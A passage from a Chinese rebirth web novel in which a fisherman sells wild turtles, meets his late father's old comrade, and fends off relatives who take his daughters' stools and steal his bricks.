铁牛娘站在门口,手脚都不知道往哪儿放,脸上全是局促和不安。 铁牛也看呆了。 没想到江涛说的添几个菜,会是这么丰盛的一桌。 这得花多少钱啊! 涛子这是把他们当成贵客了,可他们只是来干活的啊。 “铁牛,大娘,别愣着,快坐!” 林月柔连忙招呼,给两人拿来干净的碗筷。 “涛子,月柔,这太破费了,我们……” 铁牛娘感动又惶恐,觉得受不起这顿饭。 “大娘,您这么说就见外了。” 江涛扶着两人在凳子上坐下,“铁牛帮我这么多忙,今天又帮我弄砖,这顿饭是应该的。您就当是自家人吃个便饭,千万别客气。来,招娣,给铁牛叔和奶奶盛饭。” 江招娣立刻给两人盛了满满两大碗白米饭。 米香混合着桌上菜肴的香气,让铁牛和他娘的肚子都不由“咕噜”叫了一声。 两人更尴尬了。 “快,动筷子,菜凉了就不好吃了。” 江涛招呼林月柔和几个丫头坐下,率先夹起一块豆腐放进铁牛娘碗里,“大娘,尝尝这个,可入味了。” 又给铁牛夹了一大筷子油焖虾和鳝丝,“铁牛,多吃点,明天还要出力气呢。” 铁牛娘眼眶都有些发热。 用手背擦了擦眼角,颤巍巍夹起那块豆腐送进嘴里。 豆腐软嫩,汤汁咸鲜,带着鱼虾特有的香气,是她这辈子吃过最香的一块豆腐。 “好吃,铁牛你也吃吧。” “哎。” 铁牛埋下头,就着碗里的好菜大口扒着饭。 油焖虾酱香浓郁,鳝丝滑嫩爽口,和白米饭的甘甜混在一起涌进嘴里,让他浑身都暖了起来,上午的疲惫一扫而空。 “铁牛叔,虾要吐壳的。” 江招娣看铁牛把整个虾连着壳一起嚼,好心提醒。 铁牛一愣,脸唰地红了,有些手足无措。 江涛见了,哈哈一笑,“胡说,吃虾壳补钙,铁牛叔是大人,知道怎么吃。我也来一个补补钙。” 说着,他也夹起一只虾,连壳带肉一起嚼得嘎嘣响。 几个丫头见了,也纷纷有样学样。 “我要补钙!” “我也要补钙!” 第30章 欺负小孩子 一顿饭,大家都吃得心满意足。 吃完饭,铁牛一抹嘴就要起身,“涛子,我这就开始铺砖。今天带点晚,手脚麻利点,说不定能把堂屋都铺好。” “别,铁牛,今天肯定来不及,不急在这一时。”江涛连忙阻止。 “来得及的,我估算过,紧着点干,至少能铺完大半间。早点铺好,你和月柔、孩子们也能早点用上干净地。” 铁牛坚持,他是真觉得今天又吃这么好,不赶紧干点活心里过意不去。 江涛有些哭笑不得,这憨牛也太实心眼了。 “铁牛,我本来想着让你今天歇歇,明天再铺。另外,我还得去趟乡里卖鱼,想让你跟着一起去,路上搭个伴壮壮胆,最近宋二那几个……” 他故意没说完,摇了摇头。 铁牛一听急了,“那还铺什么砖!涛子,当然是跟你去乡里要紧!铺砖的事不急于这一下午,明天一整天呢!” 他立刻改了主意,铺砖哪有保护兄弟重要。 江涛心里暗笑,脸上却做出勉为其难的样子。 “也行,那就辛苦你再跑一趟,等从乡里回来,说不定还能搭把手铺一会儿。这砖,我一个人还真不好弄。” “哎,对,就这么说定了!”铁牛连连点头。 于是,江涛去墙角将那桶甲鱼拎出来,递给铁牛抱着。 他骑上车,铁牛坐在后座,一手扶着甲鱼桶,一手抓着车架,两人一起往乡里去了。 见儿子走了,铁牛娘也帮不上什么忙,便回去编芦苇席了。 江招娣站在门口,看着江涛和铁牛远去的背影,小脸上有些失落。 今天爸爸又没带她去乡里。 老二江盼娣走过来,学着大人的样子,老气横秋地拍拍大姐的肩膀。 “大姐,别难过,你看我们也没去成。” “是啊,” 老三江来娣也凑过来,“我们都在家陪着你呢。” 老四也认真道:“大姐,我们都陪着你,不让你一个人在家。” 江招娣:“……” 安慰人是这么安慰的吗? 不过,看着几个妹妹同病相怜又努力开解她的样子,她心里的那点小小的失落倒是消散了不少。 “那我们去把碗筷洗了,然后把大圆桌和凳子擦了。” 江招娣化失落为力量,招呼妹妹们干活。 老三江来娣立刻积极响应,“好!大姐,我去拿几块抹布!” 而老二江盼娣却眼珠一转,捂着肚子,“哎呀,我肚子有点疼,我去照顾老八!”说着就想溜。 “二姐又想偷懒!”老四立刻戳穿她。 “就是,每次洗碗都肚子疼。”老五也跟着揭发。 江盼娣被妹妹们围攻,小脸一红,嘟囔道:“谁偷懒了,我是真……算了算了,洗就洗!” “大姐,我们帮你。” 老四、老五、老六几个小点的也围上来。 几个丫头虽然人小,但都抢着拿抹布、端水盆。 林月柔在一旁看着女儿们叽叽喳喳、分工合作的样子,脸上露出了欣慰的笑容。 以前这些丫头可没这么齐心,家里冷冷清清的。 如今日子有了盼头,孩子们也跟着懂事了。 “招娣,我去看看地里麦子,你跟妹妹们在家别乱跑。” 林月柔抱起老八出了门。 江招娣和几个妹妹正在灶间洗碗,外面就传来一阵脚步声,接着是女人尖利的声音。 “哟,这么多红砖?这是要建新房?老三这混子真不要脸,昧了老爷子的东西还不承认!” 是大伯母刘翠花的声音。 “就是!早上咱们来说理,被他轰走了。我瞧着,他这是做贼心虚!走,咱们进去看看,到底还藏了什么好东西!” 二伯母王桂香也跟着帮腔。 江招娣心头一紧,扔下抹布就跑了出来,几个妹妹也赶紧跟上。 “这桌子可真亮堂!看看这凳子,都是新的!” 大伯母和二伯母已进了堂屋,正围着大圆桌和那一圈新凳子转悠,眼睛像钩子一样,恨不得把东西都钩走。 江招娣挡在桌子前,“大伯母,二伯母,你们怎么来了?” “招娣啊,我们来看看。哎呀,这桌子可真不错,这凳子也结实。咦?这还有几个小板凳,小巧玲珑的正好给我家孙子坐,省得他爬高上低的摔着。” 说着,刘翠花伸手就去拿靠墙放着的一个小板凳。 江招娣急了,“这是我家新买的凳子!” “你家的?” 王桂香冷笑一声,一把推开江招娣,也伸手去拿另一个小板凳,“谁知道是不是用老爷子的钱买的?见者有份,我们拿两个凳子回去用用怎么了?” “不行!这是爸爸买的!你们不能拿!”江招娣死死抱住一个凳子不撒手。 老三江来娣、老二江盼娣也冲上去帮忙,几个小丫头哭喊着围住两个大人,又推又搡,堂屋里顿时哭喊声、叫骂声响成一片。 “反了你们了!几个赔钱货还敢跟长辈动手?” “放手!给我放手!” 刘翠花和王桂香仗着是大人,力气大,又掐又拧,硬是从几个孩子手里抢走了两个小板凳。 “干什么呢!干什么呢!” 隔壁的赵老头听见动静不对,急急忙忙赶了过来,一看这情形,气得胡子直翘。 “刘翠花!王桂香!你们这是干什么?抢孩子东西?还要不要脸了!” 刘翠花和王桂香见惊动了外人,脸上有些挂不住,但到手的凳子却不肯放下。 “赵叔,您老别管,这是我们家事。老三昧了老爷子家产,我们拿两个凳子又怎么了!” “放屁!” 赵老头骂道,“当年分家的事我也知道!江涛和老爷子就得了那点东西,哪来的家产?你们来我们滨江村闹,我这就去喊村支书和民兵队长来评评理!” 听赵老头说要喊村支书和民兵队长,两人有些心虚,不想事情闹大,但嘴上却还不饶人。 “哼,喊就喊,谁怕谁!这凳子我们就拿了,有本事让老三自己来要!” 说着,刘翠花和王桂香抱着抢来的两个小板凳,骂骂咧咧地快步走了。 “我的凳子!还我凳子!” 江招娣哭着要追上去,被赵老头拉住了。 “好孩子,别追了,跟她们讲不清道理。” 赵老头叹口气,看着哭成一团的几个丫头,心里也替江涛一家憋屈。 早上夫妻两个过来没讨到好,被江涛赶跑了。 现在看着大人不在,这两个当伯母的过来欺负小孩子,真是越活越回去了。 “等你们爸爸回来,让他去处理吧。先回家,把门关上,看好妹妹们。” 江招娣抹着眼泪,点点头,心里又气又难过。 都怪她没能力,没能保护住家里的东西。 第31章 给个什么价 东风饭店,江涛骑着自行车载着铁牛刚到后厨小院门口,就见顾师傅站在那儿不时朝外张望。 “涛子,你来了。” “顾师傅,您怎么站门口?” 江涛有些意外,看顾师傅样子像是等了有一会儿了。 “等你呢。”顾师傅脸色神秘。 “等我?” 江涛一愣,顾师傅这架势,应该不只为了等自己送货吧。 停好车,用锁链将车锁在门口。 他照例递过去一块钱,“是有什么事?” 顾师傅摆摆手,拉着江涛往旁边走了两步。 “涛子,昨天你不是送来几条野生江鳗吗?今天中午招待上面来视察的领导,领导们赞口不绝。” “其中,有位退休老领导,就喜欢吃个野味,说要能买几只野生甲鱼炖汤就好了。蒋管事就让我留意着,看你能不能弄到。这不,我一寻思,你今天会来,就出来等着碰碰运气。” 江涛和铁牛对视一眼,笑了。 这不是赶巧了吗? “顾师傅,今天刚好捞着四个大甲鱼。”江涛笑道。 “当真?” 顾师傅眼睛一亮,喜上眉梢,“走走走,跟我进去,蒋管事和老领导就在后头休息室呢。你这甲鱼来得正是时候!” 顾师傅领着两人穿过院子,让他们在走廊稍等,自己快步进去通报。 没一会儿,蒋管事陪着一个头发花白,但精神头十足的老者走了出来。 “涛子,真有甲鱼?” 蒋管事神色急切,“快给我瞧瞧。” 这可是在领导面前露脸的好机会。 “四个呢,您给看看成色。” 江涛从铁牛手里接过水桶,掀开上面盖着的水草。 桶里四只背甲乌青发亮的大甲鱼正在划水,一看就活力十足。 “还真有!个头真不小!” 蒋管事一看就乐了。 那老者也凑近看了看,点点头,“嗯,野生的,个头是不小,品相也好。” 说着,他抬眼打量江涛,眼神闪过一丝疑惑,随即变成了惊讶和试探。 “涛子?” 江涛一怔,觉得这老者有些面善,却一时想不起来。 “我是你颜伯伯啊,颜卫国。” 老者神情有些激动,“你爸江山的老战友,小时候我还抱过你呢,不记得了?” 颜伯伯? 江涛愣住,记忆里那些模糊的影子渐渐清晰起来。 他想起来了! 是他爸的老战友,以前县里的领导,两家走动过几次。 后来他爸出事,就渐渐断了往来。 听说颜卫国去了省里,不过现在应该退下来了。 “颜伯伯,是您啊!” 江涛恍然,“瞧我这记性,竟没认出来。” “涛子,你现在咋样?” 颜卫国打量着他,目光复杂,“你爸他……唉,可惜了。你好歹也是干部子弟,这……” “颜伯伯,” 江涛笑了笑,“劳动不分贵贱,靠力气吃饭,不丢人。” 蒋管事和顾师傅在旁听着,心里都是一惊。 没想到这个天天来送货的年轻人,竟有这般的家世。 还好他们之前一直客客气气,没摆过架子,这不是无意中结了善缘吗? 铁牛更是瞪大眼睛。 他只知道涛子家以前是大地主,没想到他爸还是县里的干部。 “也是,倒是我老观念了。” 颜卫国叹了口气,又想起什么。 “对了,你爸出事前,不是替你争取了个工农兵学员的名额吗?省里一个机械专科学校,我记得录取通知书托你大哥带给你了。怎么没去?以你的底子,读了书分配工作,现在起码也是个技术员了。” “录取通知书?” 江涛愣住,“颜伯伯,什么通知书啊?父亲走了以后,家里条件不好,我就没再念书了。这事我真不知道。” “没收到?” 颜卫国脸色沉了下来,“怎么可能?当初通知是我托人办的,亲自交给你大哥江海,让他务必转交给你,他亲口答应了的。他没给你?” 江涛摇摇头。 旁边几人听着,隐隐觉出这里头有些不对。 蒋管事心思活络,连忙打圆场,“颜老,涛子,这儿人来人往说话不方便。要不我找个房间,你们坐下慢慢聊?顺便也把甲鱼的价钱谈了。” “这……” 江涛有些迟疑,想尽快卖了甲鱼回家,家里还有一堆事。 “涛子,这事儿你得弄清楚。” 铁牛在旁小声提醒,他也觉出不对劲了。 “是啊涛子,” 颜卫国语气严肃起来,“此事关乎你一生前程,必须弄清楚。当年你爸为了这个名额,费了多少心,托了多少人。我不能看着他的心血就这么不明不白地没了。” “什么前程不前程的,都过去了。” 江涛嘴上这么说,心里却也掀起了波澜。 如果真有这事,那大哥就是故意瞒下,断了他一条生路。 而颜伯伯这架势,非要拉着他说个明白不可,甲鱼的买卖怕也得等这事聊完了。 “行吧,那就麻烦蒋管事。”江涛只好点头应下。 蒋管事领着几人来到饭店后院一间僻静会客室,泡了壶茶,便识趣地和顾师傅、铁牛一起退了出去,将门带上。 屋里只剩下江涛和颜卫国。 “涛子,坐。” 颜卫国端起茶杯,又放下,长叹一声,“看到你这样,我心里真不是滋味。你爸当年,多好的一个人,多硬气的一个人。” 他看向江涛,眼神悠远,陷入了回忆。 “我家和你家算是世交吧。你爷爷那辈,是海阳县有名的大地主,江家有良田百顷,真正的钟鸣鼎食之家。可你爸,从小却和我们这些穷孩子玩在一起,没一点少爷架子,读书也好,有见识,有抱负。” “后来世道变了,他也变了。他说,家里是地主,是剥削,他不能心安理得的享受。他和你爷爷大吵一架,跟着队伍走了。他说要用自己学的本事,去让更多穷苦人过上好日子。他有文化,有能力,又有那股子拼劲,很快就在队伍里崭露头角,年纪轻轻就提了干。” 颜卫国说着,眼眶有些发红。 “那时候,他是我们那批人里最有前途的。你二叔靠着你爸的提携在单位站稳脚跟。可后来运动来了,什么都变了。因为你爷爷的成分,因为你爸以前是地主家少爷,因为他性子直得罪过人。他被从领导岗位上拿下来,送到农场去学习,后来……后来就没了。” “你三叔,江峰,你知道吧?多机灵一个小伙子,跟你爸最像。当年内战,他被反动派绑了石头扔到江里。你奶奶就是那时候哭瞎了眼,没两年也跟着去了。好好一个江家,为国出过力,流过血,死的死,散的散,唉……” 颜卫国擦擦眼角,看向一直沉默听着的江涛。 “这些年,我调去省里,心里一直惦记着你们,但想着你们家底子厚,你爸又给你安排好了出路,总不至于过不下去。没想到你竟落得要在江里捞食,你大哥他竟这样待你。是颜伯伯对不住你爸,对不住你。” 江涛安静地听着,心里却没什么波澜。 上辈子的记忆,有对父亲模糊的敬畏,有对家族兴衰的麻木,更多的是对自己荒唐人生的悔恨。 颜伯伯说的这些,对他而言,更像是听一个遥远而悲凉的故事。 命运弄人,他早已认了。 他现在只想把日子过好,让老婆孩子吃饱穿暖。 “颜伯伯,都过去了。” 江涛端起茶杯,喝了一口,“我现在靠自己的双手吃饭,养活老婆孩子挺好的。您也别太自责,这都是命。” “命?” 颜卫国看着江涛淡漠的脸,心里更难受了。 这孩子,是被生活磨平了棱角,还是心已经死了? “涛子,那个工农兵学员的名额……” “颜伯伯,” 江涛打断他,直接问道,“那事以后再说。您看,我这甲鱼,能给个什么价?家里还等着用钱。” 颜卫国一噎,看着江涛那双眼睛,知道再叙旧情也是徒劳。 这孩子,怕是只相信自己。 他压下心中的酸楚,点点头,“对,先说正事。你这甲鱼,野生的个头大,品相顶好。这样,一只一百块,四只四百块,你看行不行?” 一只一百! 四只就四百! 这价钱还行吧。 江涛这才露出真切的笑容,“行,颜伯伯,就按您说的价。谢谢您关照。” “唉,说什么谢,应该的。” 颜卫国摆摆手,心里却更不是滋味。 “涛子,我跟你一起去你家看看。” 颜卫国语气不容拒绝,“我想看看你爸最后住的地方,看看你现在过的日子。不然,我这心里过不去这个坎。当年要不是省里突然调我走,我本该多照顾你们一些的……唉。” 江涛愣了一下,看着颜卫国坚持而愧疚的眼神,知道推脱不掉。 他想了想,家里现在虽还是土屋,但有了新桌子,马上还要铺砖,日子蒸蒸日上。 让这位父亲的老战友去看看,或许也能让他安心些。 “行,您要不嫌弃的话,就去家里坐坐。只是家里简陋,孩子多,怕吵着您。” 颜卫国连连摆手,“不嫌弃,不嫌弃。” 第32章 没闲工夫 回去的路上,江涛骑着自行车载着铁牛,不紧不慢地蹬着。 颜卫国坐着一辆老式吉普车,慢慢跟在他们自行车后面。 他是极力邀请江涛坐车,但江涛说自行车必须得骑回去,不然明天就没得用了。 见他坚持,颜卫国只好作罢,让司机就这么慢慢跟着。 “涛子,” 铁牛坐在后座感叹,“你爸江老爷子真是个人物。” “是吗?” 江涛微微侧头。 父亲的事,他这辈子的记忆很模糊,村里人也很少提起。 “我听我娘说的,” 铁牛的声音带着敬畏,也带着一丝遥远的向往。 “她说,你爷爷是滨江县顶顶有名的大地主,家里的地一眼望不到头。可你爸从小就仁义,跟别的少爷不一样。有一年大旱,颗粒无收,好多佃户活不下去要卖儿卖女。你爸从外面回来,知道了这事跟你爷爷大吵一架,然后……然后他做了一件轰动全县的事。” “什么事?”江涛还真不知道这段。 “他把你家祠堂供着的所有长工的卖身契,还有账房收着的欠条租约全搬了出来,当着全族人的面,一把火给烧了个精光!” 铁牛语气激动,“他说,人生下来就是自由的,不该被一张纸捆着。烧了契,欠的租子也一笔勾销,当年还开仓放粮,救活了好多人。我外公当年就在你家做长工,就是那会儿得了自由身,后来才攒了点钱,娶了我外婆,才有了我娘,有了我……” 江涛默默听着,车轮碾过土路,发出沙沙的声响。 夕阳的余晖将他们的影子拉得很长。 父亲原来是这样一个人吗? 上辈子浑浑噩噩,竟从未真正了解过。 “哦,还有这回事啊。” 江涛淡淡应了一声。 记忆中,严肃而模糊的父亲,竟也曾有过那样快意恩仇、惊世骇俗的举动。 可那又怎么样呢? 人已经没了,家也散了。 那些轰轰烈烈都成了过往云烟,填不饱现在妻女的肚子。 对他江涛来说,现在最要紧就是把老婆孩子照顾好,让几个丫头能吃饱穿暖,有机会去上学。 平平淡淡把日子过下去,把家撑起来,比什么都强。 到了家,林月柔和几个丫头迎了出来。 江招娣本想告状,说大伯母、二伯母抢凳子的事。 但见爸爸后面跟着辆绿皮吉普车,下来位气质不凡的老爷爷,便赶紧把到嘴边的话咽了回去,还拉了拉旁边几个妹妹。 “先别说了,有外人在。” 江涛没注意到女儿的小动作,停好车,给林月柔介绍,“月柔,这是颜伯伯,我爸的老战友。颜伯伯,这是我爱人林月柔。” “颜伯伯好。” 林月柔有些紧张。 她还是第一次见这种架势的客人。 “好好,月柔是吧,别拘束。” 颜卫国和蔼笑笑,目光落在江涛身后一排怯生生又好奇探头探脑的小脑袋上。 一二三四五…… 他愣了一下,随即笑道:“涛子,你这可真是热闹,有福气啊,这么多小棉袄!” 他在车上本来准备了几个小红包,打算当见面礼,没想到江涛家丫头这么多,准备的几个红包明显不够了。 颜卫国索性从口袋掏出一沓钱,挨个给每个丫头手里塞了五块钱。 “来,丫头们,这是爷爷给你们的见面礼,买糖吃。” “这……颜伯伯,这太多了,使不得!” 林月柔吓一跳,五块钱可不是小数目,八个丫头就是四十块! “拿着吧,颜伯伯一片心意。” 江涛对林月柔点点头,又对女儿们说:“还不快谢谢颜爷爷?” “谢谢颜爷爷!” 江招娣带头,几个丫头齐声道谢。 老八也学着姐姐的样子,奶声奶气道:“谢爷爷。” “这小家伙有福气!” 颜卫国笑着摸了摸老八的小脑袋。 这时,隔壁赵老头听见动静过来,一眼看到颜卫国,惊讶地瞪大了眼。 “老颜?颜卫国?真是你?” “老赵!赵满仓!” 颜卫国也认出赵老头,当年在江边搞水利建设认识的本地向导。 两人快步上前,四只手紧紧握在一起。 “老伙计,多少年没见了!” “十几二十年了吧!你还好吧?”赵老头感慨。 “还好,还好。你这是住涛子隔壁?” “是啊,老邻居了。没想到在这儿碰上你。你这是……” “来看看江山的孩子。唉,没想到……” 颜卫国摇摇头,看向江涛家的土屋,又看看围在旁边的几个小丫头,心里很不是滋味。 江涛见几个女儿眼睛红红的,像是哭过,“招娣,你们眼睛怎么红了?出什么事了?” 江招娣看了妈妈一眼,“没什么,风……风吹的。” 林月柔也连忙摇头,“没事,可能玩沙子迷了眼。你赶紧招呼颜伯伯进屋坐吧。” 江涛有些疑惑,但妻女不愿多说,又有客人在,便没再追问。 “颜伯伯,赵叔,进屋坐吧。幸好买了这张大圆桌,加了十二张凳子,要不你们来了可都得罚站。” “涛子,这小子。” 两人笑着进了屋,围着崭新的大圆桌坐下。 “颜伯伯,我去做晚饭,您要不嫌弃,就吃了再走,尝尝我的手艺。” 颜卫国正想了解江涛的生活,立刻点头。 “那我不客气了,尝尝你的手艺。老赵,你也留下,咱们老哥俩好好喝两杯。” “成!正好我也馋酒了。”赵老头爽快答应。 赵老头感慨,“老颜,你还记得,几十年前,这里还是一片滩涂,芦苇长得比人高,野鸭子成群。后来修了江堤,又迁了些人过来开荒,才慢慢有了滨江村。” 颜卫国点头,“是啊。那时候条件苦啊,但大家心齐。没想到一转眼,孩子们都这么大了,只可惜江山他……” 他又叹了口气。 “老颜,你这次来,多住几天?”赵老头邀请。 颜卫国正有此意,“我这次来,本就打算在县里待几天,处理点事,顺便看看老朋友。今晚,怕是要叨扰涛子了。” “说什么叨扰,您能来是家里的福气。” 江涛笑笑,转身去灶间准备晚饭。 他招呼铁牛,“铁牛,去把你娘也请过来,晚上一起吃饭,热闹。” “哎,好!”铁牛应声去了。 几个丫头都很懂事,帮着妈妈端茶倒水,安安静静待在一边,只偶尔用好奇的眼神偷偷打量着气派的颜爷爷。 颜卫国和赵老头正聊着天,江涛手脚麻利地准备好了晚饭。 中午的剩菜热了热,新炖了一锅奶白鲜香的鲫鱼豆腐汤,又炒了个青菜,加上油炸花生米,林林总总也摆了一桌。 虽比不上中午丰盛,但在农家已是极好的待客菜了。 “涛子,让你破费了。” 颜卫国看着桌上的饭菜,心里很不是滋味。 看得出来,这是江涛能拿出的最好的招待了。 他一个退休老干部,到老战友儿子家,还要让人家倾其所有来招待,这让他既感动又心酸。 “老颜,你别跟他客气,” 老赵头摆摆手,“这小子现在可有本事呢,一天能挣好几十,比咱们年轻那会儿强多了!这桌子凳子,还有那自行车,都是他这几天挣回来的!” 颜卫国点点头,路上江涛和铁牛简单说了打渔的事。 可打渔看天吃饭,就算运气好能挣点,那也是水里来浪里去,用命博的辛苦钱。 当年,如果不是江山带他们这群泥腿子闯出来,他们哪能有后来的出路? 可没想到,江山的后人却要靠这种方式,在江里捞食养活一大家子。 想到这,颜卫国心里的愧疚和酸楚就更深。 “是颜干部吗?” 这时,门口传来一个苍老颤抖的声音。 是铁牛娘,她在铁牛的搀扶下走了进来看到颜卫国,激动地往前走了两步。 “真是您啊!” 颜卫国站起身,仔细端详着眼前的老妇人。 “你是……秀兰姐?” “是我,是我!没想到您还记得我!” 铁牛娘眼眶一红,眼泪差点掉下来。 “记得,怎么不记得。当年在江边搞测量,你男人……是叫大河吧?水性好,帮我们撑船探水,还给我们送过饭。” 颜卫国感慨万分,握着老妇人的手,“没想到,你们都老了,大河他……” “走了,走了好些年了。” 铁牛娘抹了抹眼角,“他走的时候还念叨,说当年跟您和江领导一起干活的日子,是他这辈子最敞亮的时候。” 屋里一时沉默下来。 老赵、颜卫国、铁牛娘,几个老人聚在一起,不可避免地聊起了当年。 江涛默默听着,给长辈们添饭夹菜。 听得出来,颜伯伯是真心记挂父亲,也对自己的生活处境感到难过。 但他心里并没太多波澜,过去的已经过去,过好眼前才是根本。 吃完饭,收拾停当。 江涛本以为颜卫国会回县里,没想到他竟提出要住在赵老头家,打算在村里住几天。 “老赵,不嫌弃的话,我在你这儿叨扰几天,咱们老哥俩好好说说话,也看看村里的变化。” “那敢情好!我巴不得呢!” 赵老头高兴得直拍大腿。 江涛心里咯噔一下。 明天还指着每日情报干活呢。 铁牛也要来铺砖,事情一大堆。 颜伯伯要兴致来了。 让他陪着在村里走走看看,或拉着他说以前的事。 他可没闲工夫啊。 第33章 保密处理 晚上,江涛翻来覆去有些睡不着。 但也许是奔波一天累了,终究还是进入了梦乡。 次日,他被脑海中一阵提示音吵醒。 【每日情报:昨夜上游暴雨,今日未时,江边老拗口将有大群被呛晕的鲢鳙聚集,可用大网围捕。】 大群鲢鳙! 还是被呛晕容易抓的! 江涛心头猛地一跳。 鲢鳙虽不如甲鱼、鳗鱼金贵,但个头大,肉多,是饭店常用的鱼。 而且,大群意味着数量极为可观! 这绝对是今天不能错过的大收获! 他抬手看手表,快七点了,赶紧一个鲤鱼打挺起床。 几个丫头还在睡觉,但江招娣已经醒来,正轻手轻脚地穿衣服。 大圆桌上,摆了满满一桌丰盛的早饭。 热气腾腾的馄饨,喷香的擀面条,还有几碟小菜。 林月柔早已起来忙活了半天。 “月柔,你辛苦了。” 江涛看着妻子眼下淡淡青色,有些过意不去。 “说什么胡话呢,这都是我该做的。你快去叫颜伯伯过来吃早饭,人家是贵客,怠慢不得。” 正说着,门外传来哗啦哗啦的响动,还有压低的说话声。 江涛和林月柔心里一紧,赶紧跑出去看。 只见大嫂刘翠花和二嫂王桂香,带着娘家两个半大小子,拿着扁担绳子,在他们家门口码放的红砖垛子前,偷偷摸摸地往箩筐里搬砖呢! 已经搬了小半筐了。 “干什么?!给我住手!”江涛怒喝一声,大步冲了过去。 刘翠花和王桂香被吓了一跳,但看是江涛一个人,立刻又挺直了腰板。 刘翠花叉着腰,指着江涛鼻子骂骂咧咧。 “喊什么喊!吓着孩子了!拿你几块破砖怎么了?这么多砖,你用得完吗?我们拿点回去砌个猪圈,那是看得起你!” “就是!” 王桂香也帮腔,“你个混子,用老爷子的钱买的砖,我们拿点是天经地义!你个不孝的东西,还敢对我们吼?信不信我让村里人评评理,看谁有理!” “放屁!” 江涛气得脸都青了,“这砖是我自己挣的钱买的,跟老爷子一分钱关系没有!把砖给我放下!” “就不放!有本事你来抢啊!” 刘翠花推了身边愣头小子一把,“继续搬!看他能怎么样!” 昨天,她们就抢了两个小板凳,回去越想越觉得亏了。 今天一早,趁着男人去上班了,便带着自家半大能干活的小子想来偷砖。 两个傻小子仗着大人撑腰,还真要继续搬。 “我看谁敢动!” 铁牛刚好赶到,准备今天来帮江涛家铺砖,远远瞧见这情形,怒吼一声就冲了过来,像头被惹怒的公牛。 他一把夺过一个小子的扁担扔到一边,又揪住另一个小子的衣领,像拎小鸡一样把人提溜开。 “滚开!” 两个小子被铁牛气势和力气吓住,连连后退。 “铁牛!你个外姓人,多管什么闲事!”刘翠花跳着脚骂。 “这是我兄弟家的事,就是我的事!”铁牛毫不示弱地瞪回去。 “出什么事了?” 颜卫国和赵老头一起走了出来。 昨晚,他听说了江涛两个哥哥嫂子的做派事,气得一晚上没怎么睡好。 此刻,见到这两个女人又来偷砖,还如此嚣张,脸色立刻沉了下来。 “你们是什么人?光天化日偷人东西,还强词夺理?” 颜卫国常年身居高位,即便退休,不怒自威的气势依然在。 刘翠花和王桂香见他站在赵老头身边,穿着气派,说话也带着股说不出的分量,心里有点发怵,但嘴上还不饶人。 “你谁啊?我们家的事轮得到你管吗?”王桂香翻着白眼。 “就是,狗拿耗子!”刘翠花也跟着说。 颜卫国懒得跟她们废话,吩咐身边跟着的年轻司机。 “小陈,把那两个偷砖的按住,别让他们跑了。老赵,麻烦你去把村支书请来。” “好!” 小陈动作利落,几步上前就控制住两个小子。 赵老头也快步朝村公所方向走去,他正好也要告诉村支书,老领导来了。 刘翠花和王桂香见这架势,真有点慌了,想撒泼又怕那司机,想走又不敢。 场面一时僵持。 “涛子,你放心,这公道我给你讨回来。”颜卫国眼里带着不容置疑的决断。 江涛心里一暖,颜伯伯是真心实意要帮他。 他看了眼手表,又看了看天色。 幸好今天的情报时间是未时,距离现在还有好几个小时。 处理完这边,应该能赶上去江边。 不多时,村支书闻讯带着民兵队长匆匆赶来。 一见颜卫国,认出这是以前县里的大领导,态度立刻恭敬起来,上前握手问好,寒暄了好几句。 颜卫国没多客套,指了指现场,沉着脸问道:“李支书,你们村里的村民,被外人欺负上门,光天化日偷东西,还强词夺理。这事,你看该怎么办?” 村支书心里一紧,看了一眼刘翠花和王桂香,又看看江涛和颜卫国的脸色,立刻明白了。 他板起脸,对民兵队长一挥手,“还能怎么办?抓起来!大白天的偷人东西,反了天了!” “哎哟!支书,可不能抓啊!” 刘翠花和王桂香这下真吓坏了,连连摆手,“我们不是外人,是自家人!我们是江涛的亲嫂子!” “对,是自家人!自家人拿点东西,怎么能算偷呢?”王桂香也赶紧附和。 “自家人?” 颜卫国被她们这厚脸皮气笑了,“自家人就能不告而取,明目张胆地来搬砖?自家人偷东西,就不算偷了?” “这、这不是偷,是拿……”刘翠花还在强辩,但声音已经小了很多。 “李支书,既然她们说是自家人,那正好。” 颜卫国看向村支书,“把她们家里人,江海、江川都叫来。我倒要问问,他们是怎么管教家里人的,是不是也觉得自家人不叫偷这个歪理。你现在就去给他们单位打电话,让他们立刻来一趟,把事情说清楚!” “是,颜老,我这就去办!” 村支书连忙应下,心里已经把江海、江川骂了个狗血淋头。 这两个不省心的东西! 招惹谁不好,非惹到这位头上,这不是连累人吗? 刘翠花和王桂香一听要让自家男人来,心里反倒升起一丝希望。 男人来了,总能护着她们,而且自家男人都是有工作的体面人,说不定还能跟这老头说上话。 两人对视一眼,点了点头,没再继续撒泼,只是惴惴不安地等着。 “颜伯伯,” 江涛却不愿意,“这事闹大了,对我爸名声不好,毕竟真是一家人,传出去不好听。” 说是担心对父亲名声不利,其实是不想耽搁功夫。 毕竟,下午还要去打渔呢。 对付大哥二哥不急于一时,当然还有那个宋二。 颜卫国一愣,只顾着替江涛出头,倒忘了这层顾忌。 江家虽然没落,但江山的名字在县里老辈人那里还有一定分量。 家丑外扬,确实对老战友的名声有损。 “唉。” 颜卫国叹了口气,转向村支书,“李支书,把这几个偷东西的带到村公所看管起来。等江海、江川来了,让他们到村公所领人。这件事,不要声张,就在村公所内部解决。” “是是,我明白,颜老您放心,一定处理妥当,给您和涛子一个交代。此事我们会保密处理。” 村支书连连点头,一挥手,民兵队长便带着人把刘翠花几人押走了。 第34章 鱼山 早上这段插曲,因处理及时,倒也没引起多少村民围观议论。 地里干活的村民,只远远瞧见有辆吉普车开往村公所方向,却不知道具体是江涛家的事。 等几个睡到日上三竿的闲汉,打着哈欠懒洋洋地起来。 跑去监视江涛,只看到铁牛一个人在那满头大汗地和泥铺砖。 他们远远看了几眼,觉得没意思,就晃悠走了。 宋二说是给钱,可一直没给,他们也懒得再为几句空话去盯梢了。 江涛没跟着去村公所。 他得去打渔养活一大家子,耽误不得。 这让颜卫国更觉得酸楚,也更加坚定要替老战友这个儿子撑腰的决心。 便让他只管去忙,这些家务事由他这个当伯伯的来出面处理。 江涛心里松了口气,还好有这些麻烦事绊住了颜伯伯。 要不然,他还真没法不陪着,今天的情报可就真要耽误了。 他给铁牛打了一上午下手,帮着和泥搬砖。 到了快中午,想着下午未时要去老拗口。 那一大群被呛晕的鲢鳙,他一个人肯定搞不定,便想着将赵老头和铁牛都喊去帮忙。 吃完午饭,他跟铁牛和赵老头说了下午去老拗口下大网的事。 铁牛二话不说就点头,“行,涛子,我跟你去!铺砖不差这一下午。” “涛子,你搞错了吧?” 